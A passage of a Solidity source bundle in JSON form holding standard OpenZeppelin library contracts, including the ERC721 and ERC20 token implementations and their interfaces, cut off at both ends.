{xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n 